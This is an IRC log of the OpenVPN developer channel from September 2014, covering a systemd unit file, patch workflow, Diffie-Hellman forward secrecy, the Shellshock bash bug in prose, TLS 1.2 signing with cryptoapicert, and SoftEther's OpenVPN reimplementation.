02:36 <@dazo> and the unit file needed is 10 lines (very minimal though, can be added with pointers to docs and so on) 02:36 <@dazo> http://fpaste.org/134460/41102580/ 02:36 <@dazo> (that's the unit file) 02:38 <@cron2> why not just build openvpn into systemd? 02:39 <@dazo> heh 02:39 <@dazo> actually, systemd isn't as bad as the rumours say .... but the process of introducing systemd was brutal and just wrong 02:40 <@dazo> but when I see it in action ... and getting used to it ... it's actually not that bad at all :) 02:40 <@cron2> well, there's lots of good ideas in there, but doing stuff like "oh, let's merge NTP right into it" is just ... not understanding unix 02:40 <@cron2> and "not that bad" doesn't equal "good" :) 02:40 <@dazo> true :) 02:41 <@cron2> anyway, I'm fine with having a working unit file in our tree - we have rc scripts, so it makes sense (and avoids distributions building their own, and having more differences out there) 02:42 <@dazo> that's my thought as well ... and then I can get the Fedora maintainer to include it ... it's missing right now 03:00 <@dazo> duh ... the unit file was in stock F19 (from the openvpn package) ... it just needed a reload to find the openvpn config file 03:00 * dazo compare unit files from different distros 04:06 -!- d12fk is now known as d457k 04:36 -!- d457k is now known as d12fk 05:01 -!- d12fk is now known as d457k 05:13 <@cron2> dazo: why has one of your wiki links http and the other one has https? 05:14 <@dazo> whoops 05:14 <@cron2> acked 05:15 <@dazo> I'll fix that on-the-fly 05:29 <@cron2> stupid sf mailer... landed in greylisting again, as if I'm not sending enough mails to -devel 05:29 <@dazo> hmmm ... well, I think that explains why there has been less spam from sf.net the last weeks :) 05:30 <@dazo> I think you need to send a lot of mails to sf.net these days to avoid that 05:38 <@dazo> eeww ... forgot to fetch first, commitish will change 05:38 <@cron2> lol 05:39 <@dazo> that's the "problem" with rebase :) 05:41 <@vpnHelper> RSS Update - gitrepo: Add systemd unit file for OpenVPN <https://github.com/OpenVPN/openvpn/commit/8a4566ce4f01a434ac9ea841eae74330368398a0> 06:17 -!- d457k is now known as d12fk 06:27 -!- d12fk is now known as d457k 06:30 -!- mattock_afk is now known as mattock 07:19 -!- d457k is now known as d12fk 09:11 -!- d12fk is now known as d457k 09:20 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 09:21 -!- d457k is now known as d12fk 09:51 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:49 -!- dazo is now known as dazo_afk 11:23 -!- d12fk is now known as d457k 12:18 -!- d457k is now known as d12fk 14:07 <@vpnHelper> RSS Update - tickets: #448: Android client needs ability to change default directory from "sdcard" <https://community.openvpn.net/openvpn/ticket/448> 14:39 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 15:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:55 -!- mattock is now known as mattock_afk --- Day changed Fri Sep 19 2014 00:57 -!- mattock_afk is now known as mattock 02:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:45 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel 04:06 -!- dazo_afk is now known as dazo 04:30 -!- d12fk is now known as d457k 04:47 -!- d457k is now known as d12fk 04:49 -!- d12fk is now known as d457k 06:19 -!- d457k is now known as d12fk 06:59 -!- d12fk is now known as d457k 07:10 -!- d457k is now known as d12fk 07:29 -!- mattock is now known as mattock_afk 07:48 -!- d12fk is now known as d457k 09:45 -!- d457k is now known as d12fk 09:47 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:47 -!- mode/#openvpn-devel [+o plai] by ChanServ 09:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 09:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 09:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 10:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:31 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 250 seconds] 10:31 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 250 seconds] 10:31 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 250 seconds] 10:33 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 10:46 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 10:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:08 -!- d12fk is now known as d457k 11:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:41 -!- dazo is now known as dazo_afk 13:16 -!- d457k is now known as d12fk 14:21 -!- d12fk is now known as d457k 14:31 -!- d457k is now known as d12fk --- Day changed Sat Sep 20 2014 02:15 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 02:55 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 02:55 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 03:06 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 04:31 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 06:44 <@vpnHelper> RSS Update - tickets: #449: Fail to start openvpn-gui.exe due to liblzo2-2.dll dependency when not checked while installation <https://community.openvpn.net/openvpn/ticket/449> 09:05 <+krzee> anyone know offhand if --reneg-sec and --tran-window are pushable? 09:38 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 10:03 <@plai> no, I would have to look in options.c 10:06 <+krzee> thanks i will 17:48 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Sun Sep 21 2014 03:01 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 16:31 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 272 seconds] 16:31 -!- Envil [~meep@95.211.26.40] has quit [Ping timeout: 272 seconds] 16:36 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 16:59 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Mon Sep 22 2014 01:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:52 -!- plai is now known as plaisthos 02:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 03:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Client Quit] 03:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:07 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:45 -!- d12fk is now known as d457k 04:02 -!- d457k is now known as d12fk 04:47 -!- d12fk is now known as d457k 06:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 06:48 -!- d457k is now known as d12fk 06:50 -!- d12fk is now known as d457k 06:58 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:02 -!- dazo_afk is now known as dazo 08:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 08:11 -!- d457k is now known as d12fk 08:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:23 -!- d12fk is now known as d457k 08:29 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 08:41 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:46 -!- d457k is now known as d12fk 08:47 -!- d12fk is now known as d457k 08:57 -!- d457k is now known as d12fk 09:00 -!- d12fk is now known as d457k 10:22 -!- d457k is now known as d12fk 10:26 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 10:26 -!- d12fk is now known as d457k 10:34 -!- d457k is now known as d12fk 10:34 -!- d12fk is now known as d457k 10:37 -!- d457k is now known as d12fk 10:37 -!- d12fk is now known as d457k 11:30 -!- dazo is now known as dazo_afk 11:31 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 12:11 -!- d457k is now known as d12fk 12:11 -!- d12fk is now known as d457k 12:11 -!- d457k is now known as d12fk 16:25 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 16:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 16:56 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn-devel 20:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Tue Sep 23 2014 02:17 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:17 <@cron2_> *sigh*, got reconnected, didn't notice... what did I miss? 02:19 < snappy> about 40 nick changes 02:35 -!- d12fk is now known as d457k 02:45 -!- d457k is now known as d12fk 02:45 -!- d12fk is now known as d457k 02:49 -!- d457k is now known as d12fk 02:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:54 -!- dazo_afk is now known as dazo 04:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:53 -!- snappy [nipnop@unaffiliated/snappy] has quit [Read error: Connection reset by peer] 07:36 <@plaisthos> github pull request again :/ 07:36 <@plaisthos> https://github.com/OpenVPN/openvpn/pull/17.patch 07:36 <@plaisthos> dazo: your college :P 07:37 <@dazo> yeah :) 07:37 <@dazo> I'll ask him to send it to the ML :) 07:41 <@dazo> plaisthos: I've grabbed in on our internal irc and asked for patches to the ML 07:41 <@vpnHelper> RSS Update - tickets: #450: OCSP_check doesn't verify OCSP responses correctly <https://community.openvpn.net/openvpn/ticket/450> 07:43 <@dazo> we probably should update our "how to contribute" sections ... and make a clear statement on how we want patches to flow to us 08:12 <@cron2_> yeah, now he sent a pointer to the ticket and github requst to the list... 10:25 <@dazo> uhh, that wasn't exactly what I asked for though ... but I obviously were not clear enough 11:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:24 <@vpnHelper> RSS Update - tickets: #452: [iOS] Rename bug <https://community.openvpn.net/openvpn/ticket/452> || #451: [iOS] <https://community.openvpn.net/openvpn/ticket/451> 12:03 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:39 -!- dazo is now known as dazo_afk 16:23 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 16:23 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 16:24 <+debbie10t> Just here to check that OpenVPN 2.3.2 on Ubuntu 14.04 is sufficiently upto date as no actual security "bugs" have needed fixing in OpenVPN from that version .. thanks 16:30 <+krzee> !changelog 16:30 <@vpnHelper> "changelog" is (#1) http://www.openvpn.net/changelog.html to see the openvpn changelog or (#2) For OpenVPN 2.2 changelog , see http://www.openvpn.net/index.php/open-source/documentation/change-log/425-changelog-for-openvpn-22.html 16:31 <+krzee> debbie10t, https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 16:31 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 16:32 <+debbie10t> Ref: https://forums.openvpn.net/topic15997.html 16:32 <@vpnHelper> Title: OpenVPN Support Forum Openvpn repository for Ubuntu 14.04 Trusty Tahr : Forum & Website Support (at forums.openvpn.net) 16:33 <+debbie10t> just trying to fast track some help ... 16:34 <+krzee> just install from source til find a apt repo with the version you want 16:36 <+debbie10t> I dont really care as i dontuse ubuntu .. but OpenVPN is still not providing an official repo for 1404 even though ubuntu 1204 is out of support 16:38 <+debbie10t> but as the forum is the public face of openvpn .. i thought i would try to get a "useful" answer 16:38 <+krzee> it would be nice, but its not really openvpn's job to keep ubuntu repo's up to date 16:39 <+debbie10t> openvpn provide thier own repos 16:39 <+krzee> if i used ubuntu id talk to EPEL maintainers and such 16:39 <+krzee> not for 14.04 :-p 16:39 <+krzee> like i said, it would be nice 16:39 <+debbie10t> fair enough 16:40 <+debbie10t> as i understand it 2.3.2 is sufficiently upto date provided openssl is upto date ? 16:40 <+krzee> actually epel looks to be centos, shows how much i know ubuntu ;] 16:40 <+krzee> i gave you the changelog, you read it? 16:41 <+debbie10t> even if i read it (in 2 mins) i would not know enough to give a "useful" answer 16:45 <+krzee> if you dont read it you certainly wont. 16:46 <+debbie10t> not only that .. but considering Bugs are found all the time .. it is more a case of: Do the dev team FEEL/BELIEVE that 2.3.2 (the official version) is sufficiently up to date for use with UB1404 .. 16:46 <+krzee> the devs write a changelog specifically so it can answer those questions, not very nice to ask them without bothering to look at it. 16:46 <+debbie10t> i read it 16:46 <+debbie10t> i am not sufficiently well informed / educated to make a public statement 16:46 <+debbie10t> fuk it .. i won't bother 16:47 <+krzee> then dont, just give them a changelog 16:47 <+debbie10t> just leave it hangin 16:47 <+krzee> that's what its for. 16:48 <+debbie10t> as for reading the documentation for openvpn .. i reckon i have read more than most 16:48 <+debbie10t> but the documentation is .. for want of a better word .. Lacking. 16:49 <+krzee> id respond, but i dont see a point, so ill bbl 16:49 <+debbie10t> c'est la vie 16:49 <+krzee> adios 16:50 <+debbie10t> anybody else have an opinion ? 16:56 <+debbie10t> out of curiosity .. how is it Extra Packages of Enterprise Linux maintainers job .. is it a case of doing the compilation for those that cannot ? 16:56 <+debbie10t> so the source is available for say 2.3.4 but you have to compile it your self .. 16:57 <+debbie10t> hmm .. something new ! 16:58 <+debbie10t> i am sorry .. i come from a winbloze background .. but I am learning as fast as i can 17:03 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 17:09 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Wed Sep 24 2014 01:21 -!- dazo_afk is now known as dazo 02:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:13 -!- creshal [~Creshal@91.143.96.4] has joined #openvpn-devel 03:13 -!- creshal [~Creshal@91.143.96.4] has left #openvpn-devel [] 03:27 <@cron2_> dazo: no. PFS (DH) is preventing exactly this - you need the in-memory key which never hits the disk to decrypt sniffed traffic 03:27 <@cron2_> and there is no way to regenerate the session key just using the certs 03:29 <@cron2_> dazo: you might want to look at "man openvpn" :-) - 03:29 <@cron2_> "Contrast that to the perfect forward secrecy features of TLS mode (using Diffie Hellman key exchange), where even if an attacker was able to steal your private key, he would gain no information to help him decrypt past sessions." 03:30 <@cron2_> we have an option to *disable* pfs, but I can't find it right now 03:30 <@dazo> I don't find the article now, but I read a long while ago about some theories with weaknesses in DH ... but it was highly theoretical 03:32 <@cron2_> I'm sure there are weaknesses, but the main point is: captured traffic plus SSL keys is *not* sufficient to decrypt the traffic, and that is not something people doubt :-) 03:32 <@cron2_> (interesting enough, too many SSL web servers do not enable DH, so for those, the point "steal the key, decrypt the traffic" is still valid) 03:33 <@dazo> a side topic actually, there's one point we haven't touched ... random data ... as to have a good DH key exchange and good private/public keys, you need a good bulk of random data 03:34 <@cron2_> agreed 03:34 <@dazo> well, DH is hard to break ... but I'm certain of what I read :) I've lost the pointer to it :/ 03:34 <@dazo> (and may have been related to weak random data, I remember that was discussed too) 03:46 <@cron2_> yeah, if your random data is bad, the DH nonces won't do good, and that will certainly give you attack vectors 03:53 <@dazo> http://www.websecuritywatch.com/cryptographic-weakness-in-diffie-hellman-key-exchange-implementation-in-opensslpolarssl/ 03:53 <@vpnHelper> Title: Cryptographic weakness in Diffie-Hellman key-exchange implementation in OpenSSL/PolarSSL - Web Security Watch (at www.websecuritywatch.com) 03:53 <@dazo> that's what I was thinking of 03:53 <@dazo> (in regards to DH) 03:53 <@dazo> and the paper on this weakness: http://www.cl.cam.ac.uk/~rja14/Papers/psandqs.pdf 04:11 <@cron2_> dazo: but that's regarding MITM attacks, which is yet another class than "sniffing the traffic and stealing the key" 04:11 <@cron2_> so, yes, of course DH doesn't protect against any possible attack, but it does a good job against these classes 04:16 <@dazo> true, and these were about poorly implemented DH in SSL libs ... but I found my references now ... it mostly goes on the implementation all over, but there are interesting approaches which may be used to compromise the keying material - and having access to the PKI keys can ease some of the guessing otherwise needed 04:16 <@dazo> http://www.it.iitb.ac.in/~praj/acads/netsec/FinalReport.pdf 04:16 <@dazo> http://crypto.cs.mcgill.ca/~stiglic/Papers/dhfull.pdf 04:16 <@dazo> (I also found one, to me new, which also brings in the discussion of DH with EC as well) 05:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 05:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 06:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 08:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 08:07 -!- dazo is now known as dazo_afk 08:07 -!- dazo_afk is now known as dazo 08:53 -!- dazo is now known as dazo_afk 12:22 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds] 13:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:10 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn-devel 14:10 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has left #openvpn-devel [] 21:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Thu Sep 25 2014 01:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:51 -!- dazo_afk is now known as dazo 02:54 * cron2_ feels sick... the shellshock bug isn't going to affect us directly, but the global impact is worse than heartbleed 02:55 <@cron2_> http://blog.erratasec.com/2014/09/#.VCPKWFSuNxA 02:55 <@vpnHelper> Title: Errata Security: September 2014 (at blog.erratasec.com) 05:28 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 07:45 <@dazo> yeah :/ 08:48 <+krzee> i got to skip heartbleed, shellshock has me in a state of shellshock 08:48 <+krzee> i use bash for * 08:50 <@cron2_> "don't" 08:50 <@cron2_> truly paranoid wouldn't use anything but ksh93 08:50 <+krzee> luckily all my scripts that accept input filters the hell out of it 08:50 <+krzee> so i should have already mitigated 08:51 <+krzee> but ya… i do it wrong =/ 08:51 <@cron2_> the problem is that it's not technically "input to scripts". It's stuff that is put into environment variables, especially to avoid the need to filter shell metacharacters, because "enviromment is save, cli is not"... fun 08:52 <+krzee> hmm i guess theres one script where i just trust an env var (specifically the ip used to contact me) 08:53 <+krzee> but really when doing something like http i consider any env that could be set by the connection to be input 08:53 <@cron2_> yeah, but that's too late already 08:53 <+krzee> oh 08:53 <+krzee> i see what you're saying then 08:54 <@cron2_> httpd puts, say, user_agent into the env, calls "bash yourscript.cgi". Bang, dead, before the script even started 08:54 <+krzee> damn, interesting 08:54 <+krzee> i missed *that* part 08:54 <@cron2_> nice and shiny perl/php/... script does all the sanitizing of command lines, calls system("traceroute $remoteip"). user_agent still in environment, /bin/sh is bash, bang 08:55 <+krzee> ouch 08:55 <+krzee> also, dammit 08:55 <+krzee> i literally have thousands and thousands of lines of bash at $work 08:56 <+krzee> maybe i can take away the web interface and make everything accessed via jabberbot 08:59 <@dazo> [side track] The way "bash" is pronounced in Norwegian, it means feces ... guess all the funny comments on the Norwegian forums now ... 'Somebody bashed ("pooped" on) my console!' 09:00 <+krzee> lol 09:00 <@cron2_> dazo: well-fitting. Never liked bash tbh :) 09:00 <@dazo> heh 09:16 <@ecrist> lol 09:16 <@ecrist> we, fortunately, don't use bash anywhere on $work 09:17 <@ecrist> however, all recently-installed Mac OS systems (and most/all Linux systems) use bash by default. 11:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:07 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Client Quit] 11:40 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:22 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 13:55 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 13:56 <+debbie10t> no doubt you are aware of this .. but wat the hell: https://forums.openvpn.net/topic17128.html 13:56 <@vpnHelper> Title: OpenVPN Support Forum Shell Shock / Bash vulnerability : Access Server (at forums.openvpn.net) 14:30 -!- dazo is now known as dazo_afk 15:19 < ender|> ...great, looks like shellshock isn't fully patched: http://www.theregister.co.uk/2014/09/25/shellshock_bash_worm_type_fears/ 15:19 <@vpnHelper> Title: Shellshock Bash bug patch is buggy: 'Millions of systems' still at risk • The Register (at www.theregister.co.uk) 16:12 <@cron2_> yeah, this is (s)hell on earth 16:28 <@ecrist> <3 FreeBSD 16:29 <@ecrist> I stubbornly use csh everywhere. 16:29 <@ecrist> Just ask mattock, lol 16:30 <@ecrist> even on my Mac 16:30 <@ecrist> ecrist@swordfish:~-> echo $SHELL 16:30 <@ecrist> /bin/csh 17:13 <+krzee> i bet shits crazy at dazo's $work 17:22 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:09 -!- rmelcer [~rmelcer@crucis.meridian-enviro.com] has joined #openvpn-devel 18:10 < rmelcer> Hey guys. I'm not sure if this belongs here or in @openvpn, but I was wondering if openvpn ever needs to access keys after the daemon starts the server. Does the question make sense? 18:23 <+debbie10t> rmelcer #openvpn 18:23 < rmelcer> cheers 18:33 -!- rmelcer [~rmelcer@crucis.meridian-enviro.com] has quit [] 18:44 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Fri Sep 26 2014 01:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:04 -!- dazo_afk is now known as dazo 04:37 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 04:38 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:48 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 272 seconds] 11:02 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 11:11 -!- dazo is now known as dazo_afk 11:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 11:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:46 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:35 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 14:35 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 15:53 -!- novaflash is now known as novaflash_away 15:57 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 15:57 -!- novaflash_away is now known as novaflash --- Day changed Sat Sep 27 2014 12:39 -!- Netsplit *.net <-> *.split quits: @andj, _bt, @vpnHelper, @plaisthos, +novaflash, @pekster, ender|, @syzzer, @cron2_, +krzee, (+3 more, use /NETSPLIT to show all of them) 12:46 -!- Netsplit over, joins: +novaflash, _bt, @plaisthos, +krzee, ender|, +roentgen, riddle, @pekster, @syzzer, @dazo_afk (+3 more) 15:38 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 260 seconds] 15:39 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 15:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:44 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:44 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 15:44 -!- vpnHelper is now known as 17SAAEECG 15:44 -!- 17SAAEECG is now known as vpnHelper 15:44 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Read error: Connection reset by peer] --- Day changed Sun Sep 28 2014 00:42 -!- pekster_ is now known as pekster 04:34 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 04:36 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 04:36 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 07:56 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 08:45 -!- shivanshu [~shivanshu@104.131.8.15] has joined #openvpn-devel 10:06 -!- shivanshu [~shivanshu@104.131.8.15] has quit [Changing host] 10:06 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:02 <+krzee> https://www.softether.org/1-features#OpenVPN_vs._SoftEther_VPN 11:03 <@vpnHelper> Title: Why SoftEther VPN - SoftEther VPN Project (at www.softether.org) 11:03 <+krzee> lol lol 11:03 <+krzee> i am counting sooooo many factually incorrect things on that page --- Day changed Mon Sep 29 2014 02:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:36 -!- fjor [~fjor@182.55.144.75] has joined #openvpn-devel 02:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:49 < fjor> Hello 02:52 < fjor> I understand that the current version of OpenVPN only supports TLS 1.2 using exported cert and key. Is there a timeline to support TLS 1.2 using cryptoapicert method? 03:26 <@plaisthos> fjor: not really. Patches are always welcome but so far nobody has started any work on that item 03:30 <@plaisthos> iirc the problem is that the api openvpn uses gives the wrong signed hash 03:30 <@plaisthos> tls 1.0 used sha1 exclusevely while TLS 1.1 and TLS 1.2 require SHA256 03:32 < fjor> Is it possible to engage a developer to develop this item as a paid engagement? 03:38 < fjor> Which is the api that gives the wrong signed hash? Is it the cryptoapi from Microsoft? 03:51 < fjor> I understand that the cert thumbprint is still using SHA-1 so is this part of the problem? 04:01 <@plaisthos> fjor: during the tls exchange the is a hash build which SHA1 for tls 1.0 and SHA256 for tls 1.2 04:01 <@plaisthos> that hash is different from the certificate hash 04:02 <@plaisthos> compare Control Channel: TLSv1, cipher TLSv1/SSLv3 ECDHE-RSA-AES256-SHA 04:02 <@plaisthos> with 04:03 <@plaisthos> Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-RSA-AES256-GCM-SHA384, 2048 bit RSA 04:03 <@plaisthos> see the SHA384 vs SHA in the cipher suite? 04:05 -!- dazo_afk is now known as dazo 04:05 <@plaisthos> during the tls setup something (I cannot remember what) is hashed and each partner signed that hash with its certificate to prove to be really in possession of the private key of the certificate 04:05 <@plaisthos> that stuff also bit me in my client :) 04:06 <@plaisthos> and the fix could be as easy as to use the right api function 04:06 < fjor> yes I saw the difference when switching between TLSv1 and TLSv1.2 04:06 <@plaisthos> (or in OpenSSL's case. Going from a documented public API that supports only SHA1 to a private API that can do more .....) 04:12 <@plaisthos> as for paying you might contact openvpn inc directly or try to reach out on the openvpn-devel list 04:12 <@plaisthos> motivation is defentively higher when being paid :D 04:16 < fjor> hahaha....definitely as I do respect the time and effort the developer puts in. :) 04:18 < fjor> In fact, I have sent an email previously to the sales team to enquire about this and was told to check with the developers here 04:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:44 -!- fjor [~fjor@182.55.144.75] has quit [] 12:08 -!- dazo is now known as dazo_afk 13:43 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 13:50 < waldner> does anyone know how these guys support OpenVPN (along with any other VPN protocol and its dog)? http://www.softether.org/ 13:50 <@vpnHelper> Title: SoftEther VPN Project - SoftEther VPN Project (at www.softether.org) 13:51 < waldner> are they reimplementing the protocol? 14:10 < waldner> indeed, src/Cedar/Interop_OpenVPN.c seems to be a reimplementation of an OpenVPN server 14:21 <@cron2_> never heard of it, tbh, but krzee ranted about it yesterday 14:23 < waldner> I wonder whether it has received some auditing 14:24 < waldner> it just seems "too much and too good" to be true 16:15 -!- mattock is now known as mattock_afk 19:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Tue Sep 30 2014 01:21 <@cron2_> oh yeah, "SoftEther 